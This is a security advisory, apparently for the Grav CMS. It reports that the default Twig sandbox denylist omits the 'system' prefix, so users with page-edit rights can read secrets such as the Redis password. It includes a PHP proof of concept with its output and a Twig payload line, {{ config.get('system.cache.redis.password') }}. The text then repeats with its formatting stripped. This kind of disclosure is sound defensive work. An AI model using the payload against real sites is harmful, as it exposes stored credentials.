Summary
system/config/security.yaml's default twig_sandbox.config_denied_paths list
(plugins, streams, security, backups, scheduler) omits the system prefix.
When an operator enables the documented, non-default twig_content.config_access: true
setting (intended to safely expose low-sensitivity values like site.title to
editor-authored Twig content), any real secret stored under system.* , for example
system.cache.redis.password , is also exposed, both via config.get(...) and via
config.toArray(), to any user with page-edit permission.
This is a follow-up gap in the fix for GHSA-j274-39qw-32c9 (config.toArray() secret
exfiltration): that fix correctly introduced a SandboxConfig facade with a denylist,
but the shipped default denylist is incomplete.
Environment used to verify
- Grav commit at HEAD of the default branch,
GRAV_VERSION 2.0.15
- PHP 8.3.6 with curl, zip, dom, gd extensions installed
- Full
composer install --no-dev run against the real repository (no mocked
dependencies) so the actual Grav\Common\Config\Config and
Grav\Common\Twig\Sandbox\SandboxConfig classes could be exercised directly
Commands run to set up the verification environment
git clone https://github.com/getgrav/grav.git
cd grav
# install missing PHP extensions required by composer.json
apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd
# composer.phar fetched directly from GitHub releases
curl -sL -o /tmp/composer.phar \
"https://github.com/composer/composer/releases/latest/download/composer.phar"
COMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction
Proof of Concept
Confirmed the real, currently-shipped config field first, rather than assuming one:
grep -n "redis" -A3 system/config/system.yaml
# redis:
# socket: false
# password: # <- system.cache.redis.password, a real field
# database:
grep -n "cache.redis.password" -A6 system/blueprints/config/system.yaml
# cache.redis.password: # <- confirmed exposed in the admin UI as "REDIS Password"
# type: text
sandbox_test.php , loads the real classes via the real autoloader, no mocking of
Config or SandboxConfig themselves:
<?php
require 'vendor/autoload.php';
use Grav\Common\Config\Config;
use Grav\Common\Twig\Sandbox\SandboxConfig;
// Real field: system.cache.redis.password
// (system/config/system.yaml line 138; blueprint in
// system/blueprints/config/system.yaml, "cache.redis.password")
$configTree = [
'system' => [
'cache' => [
'driver' => 'redis',
'redis' => [
'server' => '10.0.0.5',
'password' => 'REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK',
],
],
],
'plugins' => [
'someplugin' => ['api_key' => 'plugin-secret-should-be-blocked'],
],
'site' => ['title' => 'My Site'],
];
$config = new Config($configTree);
// exact default list shipped in system/config/security.yaml
$defaultDeniedPaths = ['plugins', 'streams', 'security', 'backups', 'scheduler'];
$sandboxConfig = new SandboxConfig($config, $defaultDeniedPaths);
echo "plugins.someplugin.api_key: ";
var_dump($sandboxConfig->get('plugins.someplugin.api_key', 'REDACTED'));
echo "system.cache.redis.password: ";
var_dump($sandboxConfig->get('system.cache.redis.password', 'REDACTED'));
print_r($sandboxConfig->toArray());
Run:
Output:
plugins.someplugin.api_key: string(8) "REDACTED"
system.cache.redis.password: string(42) "REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK"
Array
(
[system] => Array
(
[cache] => Array
(
[driver] => redis
[redis] => Array
(
[server] => 10.0.0.5
[password] => REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK
)
)
)
[site] => Array
(
[title] => My Site
)
)
plugins.* is correctly redacted; system.cache.redis.password is not, and appears in
full both via targeted get() and via bulk toArray().
Confirming the Twig-reachable path is real
system/config/security.yaml's sandbox policy explicitly allow-lists SandboxConfig's
methods for use inside sandboxed page-content templates:
- class: 'Grav\Common\Twig\Sandbox\SandboxConfig'
methods: 'get, toarray, value, offsetget, offsetexists'
So, with twig_content.process_enabled: true and twig_content.config_access: true
both set (both documented, operator-controlled settings), a page containing:
{{ config.get('system.cache.redis.password') }}
or
renders the real Redis password directly into the page output for any user with
page-edit permission.
Impact
Any site that (a) uses Redis for caching with a password set, and (b) has enabled the
documented config_access opt-in (intended only to expose things like site.title),
exposes that Redis password , and potentially other future system.* secrets , to
every user with page-edit access, not just administrators. This defeats the purpose of
the redaction list added in GHSA-j274-39qw-32c9 for any deployment using this specific
combination of otherwise-legitimate settings.
Suggested fix
Add system to the default config_denied_paths list in
system/config/security.yaml, or invert the model to an allowlist (e.g. site, and
any other subtree confirmed non-sensitive) so a future secret-bearing config key added
under system.* doesn't silently bypass the sandbox by default.
Affected component
system/config/security.yaml, twig_sandbox.config_denied_paths default value
system/src/Grav/Common/Twig/Sandbox/SandboxConfig.php (behaves correctly given its
input; the gap is in the default list passed to it)
### References
- https://github.com/getgrav/grav/security/advisories/GHSA-xjw5-q542-3vmr
- https://nvd.nist.gov/vuln/detail/CVE-2026-76846
- https://www.vulncheck.com/advisories/grav-before-information-disclosure-via-twig-sandbox
Summary
system/config/security.yaml's defaulttwig_sandbox.config_denied_pathslist(
plugins,streams,security,backups,scheduler) omits thesystemprefix.When an operator enables the documented, non-default
twig_content.config_access: truesetting (intended to safely expose low-sensitivity values like
site.titletoeditor-authored Twig content), any real secret stored under
system.*, for examplesystem.cache.redis.password, is also exposed, both viaconfig.get(...)and viaconfig.toArray(), to any user with page-edit permission.This is a follow-up gap in the fix for GHSA-j274-39qw-32c9 (config.toArray() secret
exfiltration): that fix correctly introduced a
SandboxConfigfacade with a denylist,but the shipped default denylist is incomplete.
Environment used to verify
GRAV_VERSION2.0.15composer install --no-devrun against the real repository (no mockeddependencies) so the actual
Grav\Common\Config\ConfigandGrav\Common\Twig\Sandbox\SandboxConfigclasses could be exercised directlyCommands run to set up the verification environment
Proof of Concept
Confirmed the real, currently-shipped config field first, rather than assuming one:
sandbox_test.php, loads the real classes via the real autoloader, no mocking ofConfigorSandboxConfigthemselves:Run:
Output:
plugins.*is correctly redacted;system.cache.redis.passwordis not, and appears infull both via targeted
get()and via bulktoArray().Confirming the Twig-reachable path is real
system/config/security.yaml's sandbox policy explicitly allow-listsSandboxConfig'smethods for use inside sandboxed page-content templates:
So, with
twig_content.process_enabled: trueandtwig_content.config_access: trueboth set (both documented, operator-controlled settings), a page containing:
{{ config.get('system.cache.redis.password') }}or
{{ config.toArray() }}renders the real Redis password directly into the page output for any user with
page-edit permission.
Impact
Any site that (a) uses Redis for caching with a password set, and (b) has enabled the
documented
config_accessopt-in (intended only to expose things likesite.title),exposes that Redis password , and potentially other future
system.*secrets , toevery user with page-edit access, not just administrators. This defeats the purpose of
the redaction list added in GHSA-j274-39qw-32c9 for any deployment using this specific
combination of otherwise-legitimate settings.
Suggested fix
Add
systemto the defaultconfig_denied_pathslist insystem/config/security.yaml, or invert the model to an allowlist (e.g.site, andany other subtree confirmed non-sensitive) so a future secret-bearing config key added
under
system.*doesn't silently bypass the sandbox by default.Affected component
system/config/security.yaml,twig_sandbox.config_denied_pathsdefault valuesystem/src/Grav/Common/Twig/Sandbox/SandboxConfig.php(behaves correctly given itsinput; the gap is in the default list passed to it)